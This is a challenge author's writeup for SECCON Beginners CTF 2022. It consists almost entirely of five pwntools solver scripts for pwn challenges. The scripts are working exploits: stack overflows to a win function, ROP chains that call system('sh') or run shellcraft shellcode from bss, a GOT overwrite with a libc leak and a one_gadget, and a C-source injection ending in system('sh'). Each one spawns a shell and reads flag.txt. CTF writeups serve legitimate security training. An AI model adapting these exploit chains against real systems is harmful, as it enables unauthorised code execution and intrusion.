SECCON Beginners CTF 2022 作問者Writeup

#!/usr/bin/env python3
from pwn import *
import os

HOST = os.getenv('CTF4B_HOST', '0.0.0.0')
PORT = int(os.getenv('CTF4B_PORT', '9000'))

context.log_level = 'critical'
binfile = './chall'
e = ELF(binfile)
context.binary = binfile

io = remote(HOST, PORT)

pad = b'a' * 0x28

payload = pad + pack(e.sym['win'])

io.sendlineafter(b'name?', str(100).encode())
io.sendlineafter(b'name?', payload)

io.recvuntil(b'ctf4b')
print('ctf4b' + io.readline().decode(), end='')

#!/usr/bin/env python3
from pwn import *
import os

HOST = os.getenv('CTF4B_HOST', '0.0.0.0')
PORT = int(os.getenv('CTF4B_PORT', '9001'))

context.log_level = 'critical'
binfile = './chall'
e = ELF(binfile)
context.binary = binfile

io = remote(HOST, PORT)

pad = b'a' * 0x18

rop = ROP(e)
rop.raw(rop.find_gadget(['pop rdi', 'ret'])) # pop rax; ret
rop.raw(pack(next(e.search(b'sh\0'))))
rop.raw(pack(e.sym['help']+0xf)) # system()

payload = pad + rop.chain()

assert(len(payload) <= 0x30)

io.sendlineafter(b'?', payload)

io.sendline(b'echo exploited')
io.sendlineafter(b'exploited\n', b'cat flag.txt')

print(io.readline().decode('utf-8', 'ignore'), end='')

#!/usr/bin/env python3
from pwn import *
import os

HOST = os.getenv('CTF4B_HOST', '0.0.0.0')
PORT = int(os.getenv('CTF4B_PORT', '9002'))

context.log_level = 'critical'
binfile = './chall'
e = ELF(binfile)
context.binary = binfile
bss = e.bss() + 0x800

io = remote(HOST, PORT)

pad = b'a' * 0x18

rop = ROP(e)
rop.raw(rop.find_gadget(['pop rdi', 'ret']))
rop.raw(p64(bss))
rop.raw(p64(e.sym['gets']))
rop.raw(rop.find_gadget(['ret']))
rop.raw(p64(bss))

payload = pad + rop.chain()

io.sendlineafter(b'?', payload)

shellcode = asm(shellcraft.sh())

io.sendline(shellcode)


io.sendline(b'echo exploited')
io.sendlineafter(b'exploited\n', b'cat flag.txt')

print(io.readline().decode('utf-8', 'ignore'), end='')

#!/usr/bin/env python3
from pwn import *
import os

HOST = os.getenv('CTF4B_HOST', '0.0.0.0')
PORT = int(os.getenv('CTF4B_PORT', '9003'))

context.log_level = 'critical'
binfile = './chall'
e = ELF(binfile)
libc = ELF('./libc-2.33.so')
context.binary = binfile

one_gadgets = [0xde78c, 0xde78f, 0xde792]

io = remote(HOST, PORT)

def create(content: bytes):
    io.sendlineafter(b'> ', b'1')
    io.sendlineafter(b'Content: ', content)


def edit(index: int, content: bytes) -> bytes:
    io.sendlineafter(b'>', b'2')
    io.sendlineafter(b'index: ', str(index).encode())
    io.recvuntil(b'Old content: ')
    old = io.readline().strip()
    io.sendlineafter(b'New content: ', content)
    return old


next_offset = 0x28

pad = b'a' * next_offset

create(b'hoge')
create(b'fuga')

# overwrite next->content by got['puts']
payload = pad + pack(e.got['puts'] - 8)
edit(0, payload)

# libc leak
io.sendlineafter(b'> ', b'2')
io.sendlineafter(b'index: ', b'2')
io.recvuntil(b'Old content: ')
libc_base = unpack(io.readline().ljust(8, b'\0')) - libc.sym['puts']

# overwrite got['puts'] by one_gadget
io.sendlineafter(b'New content: ', p64(libc_base + one_gadgets[1]))

io.sendline(b'echo exploited')

io.recvuntil(b'exploited')
io.sendline(b'cat flag.txt')
io.readline()
print(io.readline().decode(), end='')

#!/usr/bin/env python3
from pwn import *
import os

HOST = os.getenv('CTF4B_HOST', '0.0.0.0')
PORT = int(os.getenv('CTF4B_PORT', '5000'))

context.log_level = 'critical'
io = remote(HOST, PORT)

payload = 'int main(){puts("'
payload += '廃墟の街'
payload += 'イチジクのタルト'
payload += '天使'
payload += '紫陽花'
payload += '\\x83\\x4a\\x83\\x75\\x83\\x67\\x92\\x8e'
payload += '\\x83\\x43\\x83\\x60\\x83\\x57\\x83\\x4e\\x82\\xcc\\x83\\x5e\\x83\\x8b\\x83\\x67'
payload += '\\x94\\xe9\\x96\\xa7\\x82\\xcc\\x8d\\x63\\x92\\xe9'
payload += '\\x30\\x89\\x30\\x5b\\x30\\x93\\x96\\x8e\\x6b\\xb5'
payload += '\\x2b\\x4d\\x4b\\x51\\x2d\\x2b\\x4d\\x4d\\x45\\x2d\\x2b\\x4d\\x4c\\x67\\x2d\\x2b\\x4d\\x4b\\x38\\x2d\\x2b\\x4d\\x47\\x34\\x2d\\x2b\\x4d\\x4c\\x38\\x2d\\x2b\\x4d'
payload += '\\x72\\x79\\x75\\x70\\x70\\xb9'
payload += '\\x2b\\x63\\x6e\\x6b\\x2d\\x2b\\x64\\x58\\x41\\x2d\\x2b\\x63'
payload += '\\x2b\\x4d\\x4c\\x67\\x2d\\x2b\\x4d\\x4f\\x63\\x2d\\x2b\\x4d\\x4d\\x4d\\x2d\\x2b'
payload += '");system("sh");}'

io.sendlineafter(b'source:\n', payload.encode())

io.sendline(b'echo exploited')
io.sendlineafter(b'exploited', b'cat flag.txt')
io.readline()
print(io.readline().decode(), end='')